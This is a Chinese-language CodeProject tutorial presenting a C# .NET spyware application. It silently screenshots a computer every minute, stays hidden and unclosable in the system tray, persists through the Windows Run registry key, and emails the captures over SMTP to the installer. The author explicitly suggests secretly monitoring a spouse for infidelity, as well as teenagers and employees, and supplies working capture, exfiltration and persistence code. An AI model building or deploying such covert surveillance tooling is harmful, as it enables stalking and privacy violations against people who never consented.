65.9K
CodeProject 正在变化。 阅读更多。
Home

桌面监控工具,可将主题截图发送给您

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.57/5 (22投票s)

2007年12月30日

CPOL

6分钟阅读

viewsIcon

113970

制作一个监视应用程序,它能静默捕获桌面,并定期将截图作为附件发送给您。

surveillance.png

引言

前段时间,我需要捕获某台电脑的桌面,以便了解该用户每天都在做什么。于是,我制作了一个 .NET 2.0 Winforms 应用程序,它可以驻留在系统托盘中(可选),并在给定的时间间隔(例如每 60 秒)捕获桌面,然后将捕获的图像以邮件附件的形式发送给我(例如每 30 分钟)。它确保捕获的图像足够小,并嵌入到 HTML 电子邮件中,这样我就不需要打开数百个附件来查看屏幕截图。我只需阅读电子邮件即可查看捕获的图像。您会发现这个应用程序在许多用例中都非常方便,包括:

  • 监控那些花太多时间上网或聊天的员工。了解他们真正在做什么。
  • 留意您的另一半,以防TA出轨。
  • 留意您的青少年,看看他们如何使用电脑。找出他们浏览色情网站的时间。

您只需坐在办公室里放松,应用程序就会每 30 分钟通过电子邮件通知您您的目标用户正在电脑上做什么。您无需担心在离开电脑时错过一些捕获。它会安全地保存在您的收件箱中,您可以在周末查看所有捕获。

请注意,这是一个监控应用程序,其性质违反了隐私政策。因此,您对它的任何使用方式都负全部责任。

如何使用该应用程序

在 Visual Studio 设置设计器中配置以下设置(如果您有 Visual Studio)

Configuration.png

配置屏幕截图的存储路径。然后配置持续时间,默认是每 1 分钟截取一张屏幕截图。“收件人”包含您的电子邮件地址。使用免费电子邮件服务,因为您很快就会发现它会很快被填满。用户名和密码用于 SMTP 身份验证。“SMTP”包含 SMTP 服务器名称或 IP。“MailSendDelay”是发送电子邮件之间的延迟。

您所需要做的就是构建应用程序,然后在您想要监视的计算机上运行一次。它会以一个无害的图标隐藏在系统托盘中,并在启动时注册自己,立即开始捕获。一两周后,清理存储屏幕截图的“C:\temp”文件夹。

您也可以在计算机上运行一次应用程序后,在运行时配置属性。这适用于那些没有 Visual Studio,无法在构建之前配置设置的用户。

要在应用程序运行时启动配置对话框,请在系统托盘中找到图标,并严格按照以下顺序点击鼠标按钮:

  • 依次按住系统托盘图标上的左右鼠标按钮
  • 在按住左鼠标按钮的同时,只释放右鼠标按钮

这将弹出配置对话框

Properties.png

您可以在运行时进行更改。

一旦应用程序在PC上运行,它就会在启动时注册。因此,每次Windows启动时,它都会自动加载应用程序并开始截屏。

让我们从这个应用程序中学到一些有趣的东西

防止在点击关闭按钮时关闭应用程序

间谍应用程序需要一直运行。所以,我们需要阻止它关闭。为了保持应用程序运行,一个窗口必须保持加载和隐藏。因此,该窗口的 FormClosing 事件必须取消关闭事件。

private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
{
Settings.Default.Save();
this.Hide();
e.Cancel = true;
}

该窗口也被隐藏,不显示在任务栏上。您可以从 Form 的属性中关闭 ShowInTaskbar 属性。属性窗口始终保持隐藏并移出可见区域。

捕获桌面屏幕截图

以下代码可以截取整个屏幕的屏幕截图。它只截取主屏幕的屏幕截图。如果您有多个显示器,那么您需要单独捕获它们。

using (Bitmap bmpScreenshot = 
new Bitmap(Screen.PrimaryScreen.Bounds.Width, 
Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb)) 
{ 
// Create a graphics object from the bitmap  
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) 
{ 
try  
{ 
Log("Capture screen"); 
// Take the screenshot from the upper left corner to the right bottom corner  
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, 
Screen.PrimaryScreen.Bounds.Y, 
0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

首先创建一个整个屏幕大小的 bitmap 对象,然后将屏幕上的图形复制到 Bitmap 对象中。

将位图转换为低分辨率 JPEG

桌面截图是一张大图片,转换为常规 JPEG 格式时很容易达到 300 KB 左右。如果您有 1600X1024 或更高分辨率,截图大小会更大。如果这些大文件作为附件发送给您,那对您和您的邮件服务器来说将是一个真正的痛苦。因此,您需要将位图转换为低质量的 JPEG。

//Get the ImageCodecInfo for the desired target format
ImageCodecInfo codec = GetEncoderInfo("image/jpeg");

// Set the quality to very low
System.Drawing.Imaging.Encoder qualityEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameter ratio = new EncoderParameter(qualityEncoder, 10L);
// Add the quality parameter to the list
EncoderParameters codecParams = new EncoderParameters(1);
codecParams.Param[0] = ratio;

这里我们将 JPEG 编解码器配置为非常低的分辨率(10%)。GetEncoderInfo 是一个函数,它遍历所有可用的编解码器并找到我们需要的那个。

private static ImageCodecInfo GetEncoderInfo(String mimeType)
{
int j;
ImageCodecInfo[] encoders;
encoders = ImageCodecInfo.GetImageEncoders();
for (j = 0; j < encoders.Length; ++j)
{
if (encoders[j].MimeType == mimeType)
return encoders[j];
} return null;
}

转换完成后,您可以将 bitmap 保存到文件中。

using (FileStream fs = new FileStream(filePath, FileMode.Create))
{
    bmpScreenshot.Save(fs, codec, codecParams);
    fs.Close();
}

处理 Win32 异常

我注意到有时在屏幕捕获过程中,会抛出未知的 Win32Exception。除非我重新启动应用程序,否则无法解决此问题。我是这样做的:

catch (Exception x)
{
    Log(x.ToString());
    if (x is Win32Exception)
    {
        Log("Restarting...");
        Application.Restart();
    }
} 

如何将图片作为嵌入式图像以 HTML 格式发送电子邮件

您可以将图片作为常规附件发送电子邮件。但是,这使得查看这些屏幕截图非常困难,因为您必须双击每个附件。更好的方法是创建一个 HTML 格式的电子邮件正文,其中屏幕截图一个接一个地嵌入。这样,您只需阅读带有屏幕截图的电子邮件,即可一目了然地查看所有捕获的内容。

首先使用 System.Net.SmtpClient 连接到邮件服务器

SmtpClient client = new SmtpClient(Settings.Default.Smtp);
client.Credentials = new NetworkCredential
			(Settings.Default.UserName, Settings.Default.Password);

MailMessage msg = new MailMessage(Settings.Default.To, Settings.Default.To);
msg.Subject = DateTime.Now.ToString();
msg.IsBodyHtml = true;

最后一行开始一个 HTML 格式的电子邮件正文。我们将构建一个图像内联的 HTML 邮件。棘手的部分是构建消息正文。正文要求我们为正文中的每个图像创建 <img> 标签,格式如下:

<img src=cid:ID_OF_THE_IMAGE />

ID 需要是为每个图像创建的 LinkedResource 实例的 ContentID。代码如下:

List<LinkedResource> resources = new List<LinkedResource>();
for (int i = Settings.Default.LastSentFileNo; i < Settings.Default.LastFileNo; i++)
{
    string filePath = FilePath(i); 

    //then we create the Html part
    //to embed images, we need to use the prefix 'cid' in the img src value
    //the cid value will map to the Content-Id of a Linked resource.
    //thus <img src='cid:companylogo'> will map to a 
    // LinkedResource with a ContentId of 'companylogo'

    body.AppendLine("<img src=cid:Capture" + i.ToString() + " />");

    //create the LinkedResource (embedded image)
    LinkedResource logo = new LinkedResource(filePath);
    logo.ContentId = "Capture" + i.ToString();
    //add the LinkedResource to the appropriate view
    resources.Add(logo);    
}

我保存了上一个捕获文件名称和上一个已发送邮件文件编号的计数器。然后,对于每个尚未发送邮件的捕获文件,我为图像创建一个 LinkedResource 并将其添加到资源列表中。我还构建了消息正文,其中包含带有 LinkedResourceContentID<img> 标签。

然后我们为消息正文创建了一个名为 AlternateView 的东西,它表示消息有一个 HTML 视图

AlternateView htmlView = 
	AlternateView.CreateAlternateViewFromString(body.ToString(), null, "text/html");

foreach (LinkedResource resource in resources)
    htmlView.LinkedResources.Add(resource);

msg.AlternateViews.Add(htmlView);

此视图包含 HTML 正文和资源集合。

此后,电子邮件以异步方式发送,以免屏幕捕获过程卡住。发送嵌入所有屏幕截图的图像通常需要一段时间。因此,您无法同步执行此操作。

try
{
    client.Timeout = 10 * 60 * 1000;
    client.SendAsync(msg, "");
    client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted);

    mailSendTimer.Stop();

    Log("Sending mail...");
            
}
catch (Exception x)
{
    Log(x.ToString());
}

如何将应用程序注册为随系统启动

我有一个方便的 RegistryHelper 类,可以在系统注册表的 Software\Microsoft\Windows\CurrentVersion\Run 位置注册一个路径。您在那里放置的任何内容,Windows 都会在启动时启动它。我很早以前在网上某个地方找到了这段代码。不确定原作者是谁。

internal static class RegistryHelper
{
private const string REGISTRY_VALUE = "DesktopSpyStartup";

public static void RegisterAtStartup()
{
// get reference to the HKLM registry key...
RegistryKey rkHKLM = Registry.LocalMachine;
RegistryKey rkRun;

// get reference to Software\Microsoft\Windows\CurrentVersion\Run subkey
// with permission to write to it...
try
{
rkRun = 
rkHKLM.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
}
catch
{
// close the HKLM key...
rkHKLM.Close();
return;
}

try
{
// Check if there is any value already there
//if( null != rkRun.GetValue("RSS Feeder") )
//{
// create a value with name same as the data...
System.Reflection.Assembly ass = System.Reflection.Assembly.GetEntryAssembly();
string directory = System.IO.Path.GetDirectoryName( ass.Location );

string starterPath = System.IO.Path.Combine( directory, "DesktopCapture.exe" );

rkRun.SetValue(REGISTRY_VALUE, starterPath);

Console.WriteLine("Entry successfully created in the registry!");
//}
}
catch
{
// error while creating entry...
Console.WriteLine("Unable to create an entry for the application!");
}

// close the subkey...
rkRun.Close();
// close the HKLM key...
rkHKLM.Close();
}

public static void UnregisterAtStartup()
{
// get reference to the HKLM registry key...
RegistryKey rkHKLM = Registry.LocalMachine;
RegistryKey rkRun;

// get reference to Software\Microsoft\Windows\CurrentVersion\Run subkey
// with permission to write to it...
try
{
rkRun = 
rkHKLM.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
}
catch
{
// close the HKLM key...
rkHKLM.Close();
return;
}

try
{
rkRun.DeleteValue( REGISTRY_VALUE );
}
catch
{
}

// close the subkey...
rkRun.Close();
// close the HKLM key...
rkHKLM.Close();
}
}

结论

这是一个占用资源极少,易于使用的桌面捕获和电子邮件实用程序。一旦它在计算机上运行,它就会持续捕获该计算机上所有用户的屏幕截图,并定期通过电子邮件发送给您。您所需要做的就是时不时地浏览这些电子邮件,看看您的目标用户正在做什么。请注意,这是一个监控应用程序,其性质违反了隐私政策。因此,您对它的任何使用方式都负全部责任。

© . All rights reserved.